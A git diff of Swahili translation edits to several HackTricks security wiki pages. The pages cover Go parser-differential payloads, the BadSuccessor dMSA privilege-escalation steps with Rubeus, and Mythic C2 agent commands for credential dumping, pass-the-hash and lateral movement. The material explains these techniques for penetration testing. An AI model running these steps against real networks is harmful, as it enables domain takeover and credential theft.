Uharibifu wa **node-ipc**—uliovutwa na Vue CLI—ulionyesha jinsi utegemezi wa mpito unaweza kuendesha msimbo usio na mipaka kwenye mashine za maendeleo. Weka toleo na fanya ukaguzi mara kwa mara.
Uharibifu wa **node-ipc**—uliovutwa na Vue CLI—ulionyesha jinsi utegemezi wa mpito unaweza kuendesha msimbo wowote kwenye mashine za maendeleo. Weka toleo na fanya ukaguzi mara kwa mara.
```shell
npm ci --ignore-scripts # safer install
```
@ -113,7 +113,7 @@ npm ci --ignore-scripts # safer install
## Orodha ya Kuimarisha
1. **Safisha** kila mfuatano kabla haujafika `v-html` (DOMPurify).
2. **Ruhusu** mipango, sifa, vipengele, na matukio yaliyokubaliwa.
2. **Ruhusu** mipango, sifa, vipengele, na matukio yaliyoruhusiwa.
3. **Epuka `eval`** na templeti za dinamikali kabisa.
4. **Sasisha utegemezi kila wiki** na ufuatilie taarifa.
5. **Tuma vichwa vya HTTP vya nguvu** (CSP, HSTS, XFO, CSRF).

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Mipangilio yenye hatari
## Mipangilio yenye udhaifu
[**Mfano kutoka https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
@ -47,4 +47,4 @@ if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\
```
```
{{#include /banners/hacktricks-training.md}}

View File

@ -0,0 +1,128 @@
# JSON, XML & Yaml Hacking & Issues
{{#include ../banners/hacktricks-training.md}}
## Go JSON Decoder
Masuala yafuatayo yaligundulika katika Go JSON ingawa yanaweza kuwepo katika lugha nyingine pia. Masuala haya yaliwekwa wazi katika [**hiki kipande cha blog**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/).
Parsers za JSON, XML, na YAML za Go zina historia ndefu ya kutokuelewana na mipangilio isiyo salama ambayo inaweza kutumika **kuzidi uthibitisho**, **kuinua mamlaka**, au **kuhamasisha data nyeti**.
### (Un)Marshaling Data Isiyotarajiwa
Lengo ni kutumia structs ambazo zinamruhusu mshambuliaji kusoma/kandika maeneo nyeti (mfano, `IsAdmin`, `Password`).
- Mfano wa Struct:
```go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
```
- Uthibitisho wa Kawaida
1. **Kikosi kilichokosekana** (hakuna kikosi = uwanja bado unachambuliwa kwa chaguo-msingi):
```go
type User struct {
Username string
}
```
Payload:
```json
{"Username": "admin"}
```
2. **Matumizi yasiyo sahihi ya `-`**:
```go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
```
Payload:
```json
{"-": true}
```
✔️ Njia sahihi ya kuzuia uwanja usiweze (kuwekwa) au (kuondolewa) kutoka kwa marshaling:
```go
type User struct {
IsAdmin bool `json:"-"`
}
```
### Parser Differentials
Lengo ni kupita idhini kwa kutumia jinsi parser tofauti zinavyotafsiri payload sawa kwa njia tofauti kama katika:
- CVE-2017-12635: Apache CouchDB bypass kupitia funguo za nakala
- 2022: Zoom 0-click RCE kupitia kutokuelewana kwa parser ya XML
- GitLab 2025 SAML bypass kupitia tabia za XML
**1. Duplicate Fields:**
Go's `encoding/json` inachukua **field** ya **mwisho**.
```go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
```
Waparser wengine (k.m., Jackson ya Java) wanaweza kuchukua **ya kwanza**.
**2. Kutokuwa na Muktadha wa Herufi:**
Go haina muktadha wa herufi:
```go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
```
Hata hila za Unicode zinafanya kazi:
```go
json.Unmarshal([]byte(`{"ationſ": "bypass"}`), &req)
```
**3. Mismatch ya huduma nyingi:**
Fikiria:
- Proxy iliyoandikwa kwa Go
- Huduma ya AuthZ iliyoandikwa kwa Python
Mshambuliaji anatumia:
```json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
```
- Python inaona `UserAction`, inaruhusu
- Go inaona `AdminAction`, inatekeleza
### Mchanganyiko wa Muundo wa Takwimu (Polyglots)
Lengo ni kutumia mifumo inayochanganya muundo (JSON/XML/YAML) au kushindwa kufungua kwenye makosa ya parser kama:
- **CVE-2020-16250**: HashiCorp Vault ilipars JSON kwa kutumia parser ya XML baada ya STS kurudisha JSON badala ya XML.
Mshambuliaji anadhibiti:
- Kichwa cha `Accept: application/json`
- Udhibiti wa sehemu ya mwili wa JSON
Parser ya XML ya Go ilipars **bila kujali** na kuamini utambulisho ulioingizwa.
- Payload iliyoundwa:
```json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
```
Result:
- **Go JSON** parser: `Action_2` (case-insensitive + last wins)
- **YAML** parser: `Action_1` (case-sensitive)
- **XML** parser: parses `"Action_3"` inside the string
### 🔐 Mitigations
| Hatari | Suluhisho |
|-----------------------------|---------------------------------------|
| Nyamba zisizojulikana | `decoder.DisallowUnknownFields()` |
| Nyamba za kurudi (JSON) | ❌ Hakuna suluhisho katika stdlib |
| Mechi isiyo na herufi kubwa | ❌ Hakuna suluhisho katika stdlib |
| Takataka za XML | ❌ Hakuna suluhisho katika stdlib |
| YAML: funguo zisizojulikana | `yaml.KnownFields(true)` |
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,8 +2,8 @@
{{#include /banners/hacktricks-training.md}}
Shambulio la kuingiza makosa linajumuisha kuanzisha usumbufu wa nje katika mizunguko ya kielektroniki ili kuathiri tabia yake, na kusababisha kufichua taarifa au hata kupita vizuizi fulani katika mzunguko. Shambulio hili linafungua nafasi nyingi za kushambulia mizunguko ya kielektroniki. Shambulio hili pia linajulikana kama glitching ya mizunguko ya kielektroniki.
Shambulio la kuingiza makosa linajumuisha kuanzisha usumbufu wa nje katika mizunguko ya kielektroniki ili kuathiri tabia yake, na kusababisha kufichua taarifa au hata kupita vizuizi fulani katika mzunguko. Shambulio hili linafungua uwezekano mwingi wa kushambulia mizunguko ya kielektroniki. Shambulio hili pia linajulikana kama glitching ya mizunguko ya kielektroniki.
Kuna mbinu na njia nyingi za kuingiza makosa katika mzunguko wa kielektroniki.
Kuna mbinu nyingi na njia za kuingiza makosa katika mzunguko wa kielektroniki.
{{#include /banners/hacktricks-training.md}}

View File

@ -4,15 +4,15 @@
## Overview
Delegated Managed Service Accounts(**dMSAs**) ni aina mpya ya AD principal iliyozintroduced na **Windows Server 2025**. Zimeundwa kubadilisha akaunti za huduma za zamani kwa kuruhusu “muhamala” wa bonyeza moja ambao kiotomatiki unakopya Majina ya Wakuu wa Huduma (SPNs), uanachama wa vikundi, mipangilio ya uwakilishi, na hata funguo za cryptographic katika dMSA mpya, ikitoa matumizi ya kuhamasisha bila mshono na kuondoa hatari ya Kerberoasting.
Delegated Managed Service Accounts(**dMSAs**) ni aina mpya ya AD principal iliyozintroduced na **Windows Server 2025**. Zimeundwa kubadilisha akaunti za huduma za zamani kwa kuruhusu “muhamala” wa bonyeza moja ambao kiotomatiki unakopi Majina ya Kitaalamu ya Huduma (SPNs), uanachama wa vikundi, mipangilio ya uwakilishi, na hata funguo za cryptographic katika dMSA mpya, ikitoa programu mabadiliko yasiyo na mshono na kuondoa hatari ya Kerberoasting.
Watafiti wa Akamai waligundua kuwa sifa moja — **`msDSManagedAccountPrecededByLink`** — inamwambia KDC ni akaunti gani ya zamani ambayo dMSA “inasimama”. Ikiwa mshambuliaji anaweza kuandika sifa hiyo (na kubadilisha **`msDSDelegatedMSAState`2**), KDC itajenga PAC ambayo **inapata kila SID ya mwathirika aliyechaguliwa**, ikiruhusu dMSA kuiga mtumiaji yeyote, ikiwa ni pamoja na Wasimamizi wa Kikoa.
Watafiti wa Akamai waligundua kuwa sifa moja — **`msDSManagedAccountPrecededByLink`** — inamwambia KDC ni akaunti gani ya zamani ambayo dMSA “inasimamia”. Ikiwa mshambuliaji anaweza kuandika sifa hiyo (na kubadilisha **`msDSDelegatedMSAState`2**), KDC itajenga PAC ambayo **inapata kila SID ya mwathirika aliyechaguliwa**, ikiruhusu dMSA kuiga mtumiaji yeyote, ikiwa ni pamoja na Wasimamizi wa Kikoa.
## What exactly is a dMSA?
* Imejengwa juu ya teknolojia ya **gMSA** lakini inahifadhiwa kama darasa jipya la AD **`msDSDelegatedManagedServiceAccount`**.
* Inasaidia **muhamala wa kujiunga**: kuita `StartADServiceAccountMigration` kunahusisha dMSA na akaunti ya zamani, kunatoa akaunti ya zamani ruhusa ya kuandika kwenye `msDSGroupMSAMembership`, na kubadilisha `msDSDelegatedMSAState`=1.
* Baada ya `CompleteADServiceAccountMigration`, akaunti iliyozuiliwa inazuiliwa na dMSA inakuwa na kazi kamili; mwenyeji yeyote ambaye hapo awali alitumia akaunti ya zamani kiotomatiki anaruhusiwa kuchukua nenosiri la dMSA.
* Inasaidia **muhamala wa kujiandikisha**: kuita `StartADServiceAccountMigration` kunahusisha dMSA na akaunti ya zamani, kunatoa akaunti ya zamani ruhusa ya kuandika kwenye `msDSGroupMSAMembership`, na kubadilisha `msDSDelegatedMSAState`=1.
* Baada ya `CompleteADServiceAccountMigration`, akaunti iliyozuiliwa inazuiliwa na dMSA inakuwa na kazi kamili; mwenyeji yeyote ambaye hapo awali alitumia akaunti ya zamani kiotomatiki anaruhusiwa kuvuta nenosiri la dMSA.
* Wakati wa uthibitishaji, KDC inaingiza kidokezo cha **KERBSUPERSEDEDBYUSER** ili wateja wa Windows 11/24H2 wajaribu tena kwa uwazi na dMSA.
@ -31,13 +31,13 @@ NewADServiceAccount Attacker_dMSA `
Path "OU=temp,DC=lab,DC=local"
```
Kwa sababu umekuwa ukiumba kitu ndani ya OU unachoweza kuandika, moja kwa moja unamiliki sifa zake zote.
Kwa sababu umekunda kitu ndani ya OU unachoweza kuandika, moja kwa moja unamiliki sifa zake zote.
2. **Simuliza “muhamala ulio kamilika” katika maandiko mawili ya LDAP**:
- Weka `msDSManagedAccountPrecededByLink = DN` ya mwathirika yeyote (e.g. `CN=Administrator,CN=Users,DC=lab,DC=local`).
- Weka `msDSDelegatedMSAState = 2` (muhamala umekamilika).
Zana kama **SetADComputer, ldapmodify**, au hata **ADSI Edit** zinafanya kazi; hakuna haki za msimamizi wa kikoa zinazohitajika.
Zana kama **SetADComputer, ldapmodify**, au hata **ADSI Edit** zinafanya kazi; haki za msimamizi wa kikoa hazihitajiki.
3. **Omba TGT kwa dMSA** — Rubeus inasaidia bendera ya `/dmsa`:
@ -49,11 +49,11 @@ PAC iliyorejeshwa sasa ina SID 500 (Msimamizi) pamoja na vikundi vya Wasimamizi
## Gather all the users passwords
Wakati wa muhajirisho halali KDC lazima iruhusu dMSA mpya kufungua **tiketi zilizotolewa kwa akaunti ya zamani kabla ya kuhamasisha**. Ili kuepuka kuvunja vikao vya moja kwa moja inatia funguo zote za sasa na funguo za awali ndani ya blob mpya ya ASN.1 inayoitwa **`KERBDMSAKEYPACKAGE`**.
Wakati wa muhajirisho halali KDC lazima iruhusu dMSA mpya kufungua **tiketi zilizotolewa kwa akaunti ya zamani kabla ya mabadiliko**. Ili kuepuka kuvunja vikao vya moja kwa moja inatia funguo zote za sasa na funguo za awali ndani ya blob mpya ya ASN.1 inayoitwa **`KERBDMSAKEYPACKAGE`**.
Kwa sababu muhajirisho wetu wa uwongo unadai dMSA inasimama kwa mwathirika, KDC kwa uaminifu inakopya funguo za RC4HMAC za mwathirika kwenye orodha ya **funguo za awali** hata kama dMSA haikuwa na nenosiri “la awali”. Funguo hiyo ya RC4 haina chumvi, hivyo kwa ufanisi ni hash ya NT ya mwathirika, ikimpa mshambuliaji **uwezo wa kuvunja nje au “kupitisha hash”**.
Kwa sababu muhajirisho wetu wa uwongo unadai dMSA inasimamia mwathirika, KDC kwa uaminifu inakopi funguo za RC4HMAC za mwathirika kwenye orodha ya **funguo za awali** hata kama dMSA haikuwa na nenosiri “la awali”. Funguo hiyo ya RC4 haina chumvi, hivyo kwa ufanisi ni hash ya NT ya mwathirika, ikimpa mshambuliaji **uwezo wa kuvunja nje au “kupitisha-hash”**.
Hivyo basi, kuunganisha maelfu ya watumiaji kunaruhusu mshambuliaji kutupa hash “kwa kiwango,” ikigeuza **BadSuccessor kuwa msingi wa kupandisha hadhi na kuathiri hati**.
Hivyo basi, kuunganisha maelfu ya watumiaji kunaruhusu mshambuliaji kutupa hash “kwa kiwango,” kubadilisha **BadSuccessor kuwa msingi wa kupandisha hadhi na kuathiri sifa**.
## Tools

View File

@ -1,8 +1,10 @@
# Mythic
{{#include ../banners/hacktricks-training.md}}
## What is Mythic?
Mythic ni mfumo wa amri na udhibiti (C2) wa chanzo wazi na moduli ulioandaliwa kwa ajili ya red teaming. Inawawezesha wataalamu wa usalama kusimamia na kupeleka wakala mbalimbali (payloads) kwenye mifumo tofauti ya uendeshaji, ikiwa ni pamoja na Windows, Linux, na macOS. Mythic inatoa kiolesura cha wavuti rafiki kwa mtumiaji kwa ajili ya kusimamia wakala, kutekeleza amri, na kukusanya matokeo, na kuifanya kuwa chombo chenye nguvu kwa ajili ya kuiga mashambulizi halisi katika mazingira yaliyodhibitiwa.
Mythic ni mfumo wa amri na udhibiti (C2) wa chanzo wazi na moduli ulioandaliwa kwa ajili ya red teaming. Inawawezesha wataalamu wa usalama kusimamia na kupeleka wakala mbalimbali (payloads) kwenye mifumo tofauti ya uendeshaji, ikiwa ni pamoja na Windows, Linux, na macOS. Mythic inatoa kiolesura cha wavuti rafiki kwa ajili ya kusimamia wakala, kutekeleza amri, na kukusanya matokeo, na kuifanya kuwa chombo chenye nguvu kwa ajili ya kuiga mashambulizi halisi katika mazingira yaliyodhibitiwa.
### Installation
@ -12,20 +14,20 @@ Ili kusakinisha Mythic, fuata maelekezo kwenye **[Mythic repo](https://github.co
Mythic inasaidia wakala wengi, ambao ni **payloads zinazofanya kazi kwenye mifumo iliyovunjwa**. Kila wakala anaweza kuboreshwa kulingana na mahitaji maalum na anaweza kukimbia kwenye mifumo tofauti ya uendeshaji.
Kwa kawaida Mythic haina wakala wowote uliosakinishwa. Hata hivyo, inatoa wakala kadhaa wa chanzo wazi katika [**https://github.com/MythicAgents**](https://github.com/MythicAgents).
Kwa kawaida Mythic haina wakala wowote uliosakinishwa. Hata hivyo, inatoa wakala wa chanzo wazi katika [**https://github.com/MythicAgents**](https://github.com/MythicAgents).
Ili kusakinisha wakala kutoka kwenye repo hiyo unahitaji tu kukimbia:
```bash
sudo ./mythic-cli install github https://github.com/MythicAgents/<agent-name>
sudo ./mythic-cli install github https://github.com/MythicAgents/apfell
```
You can add new agents with the previous command even if Mythic is already running.
Unaweza kuongeza wakala wapya kwa amri ya awali hata kama Mythic tayari inaendesha.
### C2 Profiles
### Profaili za C2
C2 profiles in Mythic define **jinsi mawakala wanavyowasiliana na seva ya Mythic**. They specify the communication protocol, encryption methods, and other settings. You can create and manage C2 profiles through the Mythic web interface.
Profaili za C2 katika Mythic zinafafanua **jinsi wakala wanavyowasiliana na seva ya Mythic**. Zinabainisha itifaki ya mawasiliano, mbinu za usimbaji, na mipangilio mingine. Unaweza kuunda na kusimamia profaili za C2 kupitia kiolesura cha wavuti cha Mythic.
By default Mythic is installed with no profiles, however, it's possible to download some profiles from the repo [**https://github.com/MythicC2Profiles**](https://github.com/MythicC2Profiles) running:
Kwa default, Mythic imewekwa bila profaili, hata hivyo, inawezekana kupakua profaili kadhaa kutoka kwenye repo [**https://github.com/MythicC2Profiles**](https://github.com/MythicC2Profiles) ukifanya:
```bash
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/<c2-profile>>
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
@ -47,9 +49,9 @@ Huyu wakala ana amri nyingi ambazo zinamfanya kuwa nafanana sana na Beacon ya Co
- `cp`: Nakili faili kutoka eneo moja hadi lingine
- `ls`: Orodhesha faili na directories katika directory ya sasa au njia iliyoainishwa
- `pwd`: Chapisha directory ya kazi ya sasa
- `ps`: Orodhesha michakato inayotembea kwenye mfumo wa lengo (ikiwa na taarifa za ziada)
- `download`: Pakua faili kutoka mfumo wa lengo hadi kwenye mashine ya ndani
- `upload`: Pandisha faili kutoka kwenye mashine ya ndani hadi kwenye mfumo wa lengo
- `ps`: Orodhesha michakato inayoendesha kwenye mfumo wa lengo (ikiwa na taarifa za ziada)
- `download`: Pakua faili kutoka mfumo wa lengo hadi mashine ya ndani
- `upload`: Pakia faili kutoka mashine ya ndani hadi mfumo wa lengo
- `reg_query`: Uliza funguo na thamani za rejista kwenye mfumo wa lengo
- `reg_write_value`: Andika thamani mpya kwenye funguo maalum za rejista
- `sleep`: Badilisha muda wa usingizi wa wakala, ambao unamua mara ngapi anachunguza na seva ya Mythic
@ -61,12 +63,12 @@ Huyu wakala ana amri nyingi ambazo zinamfanya kuwa nafanana sana na Beacon ya Co
- `getsystem`: Fungua kipande cha winlogon na nakili token, kwa ufanisi ikiinua mamlaka hadi kiwango cha SYSTEM
- `make_token`: Unda kikao kipya cha kuingia na kiweke kwa wakala, kuruhusu uigaji wa mtumiaji mwingine
- `steal_token`: Nyakua token ya msingi kutoka kwa mchakato mwingine, kuruhusu wakala kuigiza mtumiaji wa mchakato huo
- `pth`: Pass-the-Hash shambulio, kuruhusu wakala kuthibitisha kama mtumiaji akitumia hash yao ya NTLM bila kuhitaji nenosiri la wazi
- `pth`: Shambulio la Pass-the-Hash, kuruhusu wakala kuthibitisha kama mtumiaji akitumia hash yao ya NTLM bila kuhitaji nenosiri la wazi
- `mimikatz`: Endesha amri za Mimikatz kutoa akidi, hash, na taarifa nyeti nyingine kutoka kwenye kumbukumbu au hifadhidata ya SAM
- `rev2self`: Rudisha token ya wakala hadi token yake ya msingi, kwa ufanisi ikirudisha mamlaka hadi kiwango cha awali
- `ppid`: Badilisha mchakato mzazi kwa kazi za baada ya unyakuzi kwa kuainisha ID mpya ya mchakato mzazi, kuruhusu udhibiti bora wa muktadha wa utekelezaji wa kazi
- `printspoofer`: Tekeleza amri za PrintSpoofer ili kupita hatua za usalama za print spooler, kuruhusu kuinua mamlaka au utekelezaji wa msimbo
- `dcsync`: Sanidisha funguo za Kerberos za mtumiaji kwenye mashine ya ndani, kuruhusu kuvunja nenosiri bila mtandao au mashambulizi zaidi
- `dcsync`: Sanidisha funguo za Kerberos za mtumiaji hadi mashine ya ndani, kuruhusu kuvunja nenosiri bila mtandao au mashambulizi zaidi
- `ticket_cache_add`: Ongeza tiketi ya Kerberos kwenye kikao cha kuingia cha sasa au kilichoainishwa, kuruhusu matumizi ya tiketi au uigaji
### Utekelezaji wa mchakato
@ -84,7 +86,7 @@ Huyu wakala ana amri nyingi ambazo zinamfanya kuwa nafanana sana na Beacon ya Co
### Mithic Forge
Hii inaruhusu **kupakia faili za COFF/BOF** kutoka Mithic Forge, ambayo ni hifadhi ya payloads na zana zilizotengenezwa tayari ambazo zinaweza kutekelezwa kwenye mfumo wa lengo. Pamoja na amri zote zinazoweza kupakiwa itakuwa inawezekana kufanya vitendo vya kawaida kwa kuzitekeleza katika mchakato wa wakala wa sasa kama BOFs (zaidi ya stealth kawaida).
Hii inaruhusu **kupakia faili za COFF/BOF** kutoka Mithic Forge, ambayo ni hifadhi ya payloads na zana zilizotengenezwa awali ambazo zinaweza kutekelezwa kwenye mfumo wa lengo. Pamoja na amri zote zinazoweza kupakiwa itakuwa inawezekana kufanya vitendo vya kawaida kwa kuzitekeleza katika mchakato wa wakala wa sasa kama BOFs (zaidi ya stealth kawaida).
Anza kuzisakinisha na:
```bash
@ -95,32 +97,32 @@ Kisha, tumia `forge_collections` kuonyesha moduli za COFF/BOF kutoka Mythic Forg
- `forge_collections {"collectionName":"SharpCollection"}`
- `forge_collections {"collectionName":"SliverArmory"}`
Baada ya moduli moja kupakiwa, itaonekana kwenye orodha kama amri nyingine kama `forge_bof_sa-whoami` au `forge_bof_sa-netuser`.
Baada ya moduli moja kuingizwa, itaonekana kwenye orodha kama amri nyingine kama `forge_bof_sa-whoami` au `forge_bof_sa-netuser`.
### Utekelezaji wa Powershell & scripting
- `powershell_import`: Inaleta script mpya ya PowerShell (.ps1) kwenye cache ya wakala kwa ajili ya utekelezaji baadaye
- `powershell`: Inatekeleza amri ya PowerShell katika muktadha wa wakala, ikiruhusu scripting na automatisering ya hali ya juu
- `powerpick`: Inaingiza mkusanyiko wa PowerShell loader katika mchakato wa dhabihu na kutekeleza amri ya PowerShell (bila logging ya powershell).
- `psinject`: Inatekeleza PowerShell katika mchakato maalum, ikiruhusu utekelezaji wa malengo ya scripts katika muktadha wa mchakato mwingine
- `shell`: Inatekeleza amri ya shell katika muktadha wa wakala, sawa na kuendesha amri katika cmd.exe
- `powershell_import`: Inaingiza skripti mpya ya PowerShell (.ps1) kwenye cache ya wakala kwa ajili ya utekelezaji baadaye
- `powershell`: Inaendesha amri ya PowerShell katika muktadha wa wakala, ikiruhusu scripting na automatisering ya hali ya juu
- `powerpick`: Inaingiza mkusanyiko wa PowerShell loader katika mchakato wa dhabihu na inaendesha amri ya PowerShell (bila logging ya powershell).
- `psinject`: Inaendesha PowerShell katika mchakato ulioainishwa, ikiruhusu utekelezaji wa malengo wa skripti katika muktadha wa mchakato mwingine
- `shell`: Inaendesha amri ya shell katika muktadha wa wakala, sawa na kuendesha amri katika cmd.exe
### Harakati za Lateral
- `jump_psexec`: Inatumia mbinu ya PsExec kuhamia kwa upande mwingine hadi mwenyeji mpya kwa kwanza kunakili executable ya wakala wa Apollo (apollo.exe) na kuitekeleza.
- `jump_wmi`: Inatumia mbinu ya WMI kuhamia kwa upande mwingine hadi mwenyeji mpya kwa kwanza kunakili executable ya wakala wa Apollo (apollo.exe) na kuitekeleza.
- `wmiexecute`: Inatekeleza amri kwenye mfumo wa ndani au wa mbali ulioelezwa kwa kutumia WMI, ikiwa na akidi za hiari za kuiga.
- `net_dclist`: Inapata orodha ya wakala wa kikoa kwa kikoa kilichoelezwa, muhimu kwa kutambua malengo yanayoweza kuwa ya harakati za lateral.
- `net_localgroup`: Inataja makundi ya ndani kwenye kompyuta iliyoelezwa, ikirudi kwa localhost ikiwa hakuna kompyuta iliyoelezwa.
- `net_localgroup_member`: Inapata uanachama wa kundi la ndani kwa kundi lililoelezwa kwenye kompyuta ya ndani au ya mbali, ikiruhusu kuhesabu watumiaji katika makundi maalum.
- `net_shares`: Inataja sehemu za mbali na upatikanaji wao kwenye kompyuta iliyoelezwa, muhimu kwa kutambua malengo yanayoweza kuwa ya harakati za lateral.
- `socks`: Inaruhusu proxy inayokidhi SOCKS 5 kwenye mtandao wa lengo, ikiruhusu tunneling ya trafiki kupitia mwenyeji aliyeathirika. Inafaa na zana kama proxychains.
- `rpfwd`: Inaanza kusikiliza kwenye bandari iliyoelezwa kwenye mwenyeji wa lengo na kupeleka trafiki kupitia Mythic hadi IP na bandari ya mbali, ikiruhusu ufikiaji wa mbali kwa huduma kwenye mtandao wa lengo.
- `listpipes`: Inataja mabomba yote yaliyo na majina kwenye mfumo wa ndani, ambayo yanaweza kuwa muhimu kwa harakati za lateral au kupandisha hadhi kwa kuingiliana na mifumo ya IPC.
- `jump_psexec`: Inatumia mbinu ya PsExec kuhamia kwa upande mwingine kwa kuanza kwa kunakili executable ya wakala wa Apollo (apollo.exe) na kuitekeleza.
- `jump_wmi`: Inatumia mbinu ya WMI kuhamia kwa upande mwingine kwa kuanza kwa kunakili executable ya wakala wa Apollo (apollo.exe) na kuitekeleza.
- `wmiexecute`: Inaendesha amri kwenye mfumo wa ndani au wa mbali ulioainishwa kwa kutumia WMI, ikiwa na akidi za hiari za kuiga.
- `net_dclist`: Inapata orodha ya wakala wa kikoa kwa kikoa kilichoainishwa, muhimu kwa kutambua malengo yanayoweza kuwa kwa harakati za lateral.
- `net_localgroup`: Inataja makundi ya ndani kwenye kompyuta iliyoainishwa, ikirudi kwa localhost ikiwa hakuna kompyuta iliyoainishwa.
- `net_localgroup_member`: Inapata uanachama wa kundi la ndani kwa kundi lililoainishwa kwenye kompyuta ya ndani au ya mbali, ikiruhusu kuhesabu watumiaji katika makundi maalum.
- `net_shares`: Inataja sehemu za mbali na upatikanaji wao kwenye kompyuta iliyoainishwa, muhimu kwa kutambua malengo yanayoweza kuwa kwa harakati za lateral.
- `socks`: Inaruhusu proxy inayokidhi SOCKS 5 kwenye mtandao wa lengo, ikiruhusu kupitisha trafiki kupitia mwenyeji aliyeathirika. Inafaa na zana kama proxychains.
- `rpfwd`: Inaanza kusikiliza kwenye bandari iliyoainishwa kwenye mwenyeji wa lengo na inasambaza trafiki kupitia Mythic hadi IP na bandari ya mbali, ikiruhusu ufikiaji wa mbali kwa huduma kwenye mtandao wa lengo.
- `listpipes`: Inataja mabomba yote yaliyo na majina kwenye mfumo wa ndani, ambayo yanaweza kuwa muhimu kwa harakati za lateral au kupandisha hadhi kwa kuingiliana na mitambo ya IPC.
### Amri Mbalimbali
- `help`: Inaonyesha taarifa za kina kuhusu amri maalum au taarifa za jumla kuhusu amri zote zinazopatikana katika wakala.
- `clear`: Inakadiria kazi kama 'zimemalizika' ili zisiweze kuchukuliwa na wakala. Unaweza kubainisha `all` ili kufuta kazi zote au `task Num` ili kufuta kazi maalum.
- `clear`: Inaashiria kazi kama 'zilizofutwa' ili zisiweze kuchukuliwa na wakala. Unaweza kuainisha `all` kufuta kazi zote au `task Num` kufuta kazi maalum.
## [Poseidon Agent](https://github.com/MythicAgents/Poseidon)
@ -129,35 +131,38 @@ Poseidon ni wakala wa Golang unaokusanywa kuwa **Linux na macOS** executables.
```bash
./mythic-cli install github https://github.com/MythicAgents/Poseidon.git
```
### Common actions
### Hatua za kawaida
- `cat`: Chapisha maudhui ya faili
- `cd`: Badilisha saraka ya kazi ya sasa
- `cd`: Badilisha directory ya kazi ya sasa
- `chmod`: Badilisha ruhusa za faili
- `config`: Angalia usanidi wa sasa na taarifa za mwenyeji
- `config`: Angalia config ya sasa na taarifa za mwenyeji
- `cp`: Nakili faili kutoka eneo moja hadi lingine
- `curl`: Tekeleza ombi moja la wavuti na vichwa na mbinu za hiari
- `upload`: Pandisha faili kwenye lengo
- `download`: Pakua faili kutoka kwa mfumo wa lengo hadi mashine ya ndani
- `download`: Pakua faili kutoka mfumo wa lengo hadi mashine ya ndani
- Na mengi zaidi
### Search Sensitive Information
### Tafuta Taarifa Nyeti
- `triagedirectory`: Pata faili za kuvutia ndani ya saraka kwenye mwenyeji, kama faili nyeti au akidi.
- `triagedirectory`: Pata faili za kuvutia ndani ya directory kwenye mwenyeji, kama faili nyeti au akidi.
- `getenv`: Pata mabadiliko yote ya mazingira ya sasa.
### Move laterally
### Hamia kwa upande
- `ssh`: SSH kwa mwenyeji ukitumia akidi zilizotengwa na fungua PTY bila kuzalisha ssh.
- `sshauth`: SSH kwa mwenyeji/mwenyeji waliotajwa ukitumia akidi zilizotengwa. Unaweza pia kutumia hii kutekeleza amri maalum kwenye wenyeji wa mbali kupitia SSH au kuitumia SCP faili.
- `link_tcp`: Unganisha na wakala mwingine kupitia TCP, kuruhusu mawasiliano ya moja kwa moja kati ya wakala.
- `link_webshell`: Unganisha na wakala ukitumia wasifu wa webshell P2P, kuruhusu ufikiaji wa mbali kwenye kiolesura cha wavuti cha wakala.
- `rpfwd`: Anza au Stop Reverse Port Forward, kuruhusu ufikiaji wa mbali kwa huduma kwenye mtandao wa lengo.
- `socks`: Anza au Stop SOCKS5 proxy kwenye mtandao wa lengo, kuruhusu kupitisha trafiki kupitia mwenyeji aliyeathirika. Inafaa na zana kama proxychains.
- `portscan`: Changanua mwenyeji/mwenyeji kwa bandari wazi, muhimu kwa kutambua malengo yanayoweza kuwa ya kuhamasisha au mashambulizi zaidi.
- `socks`: Anza au Stop SOCKS5 proxy kwenye mtandao wa lengo, kuruhusu tunneling ya trafiki kupitia mwenyeji aliyeathirika. Inafaa na zana kama proxychains.
- `portscan`: Chunguza mwenyeji/mwenyeji kwa bandari wazi, muhimu kwa kutambua malengo yanayoweza kuwa ya kuhamia au mashambulizi zaidi.
### Process execution
### Utendaji wa mchakato
- `shell`: Tekeleza amri moja ya shell kupitia /bin/sh, kuruhusu utekelezaji wa moja kwa moja wa amri kwenye mfumo wa lengo.
- `run`: Tekeleza amri kutoka diski na hoja, kuruhusu utekelezaji wa binaries au scripts kwenye mfumo wa lengo.
- `pty`: Fungua PTY ya mwingiliano, kuruhusu mwingiliano wa moja kwa moja na shell kwenye mfumo wa lengo.
{{#include ../banners/hacktricks-training.md}}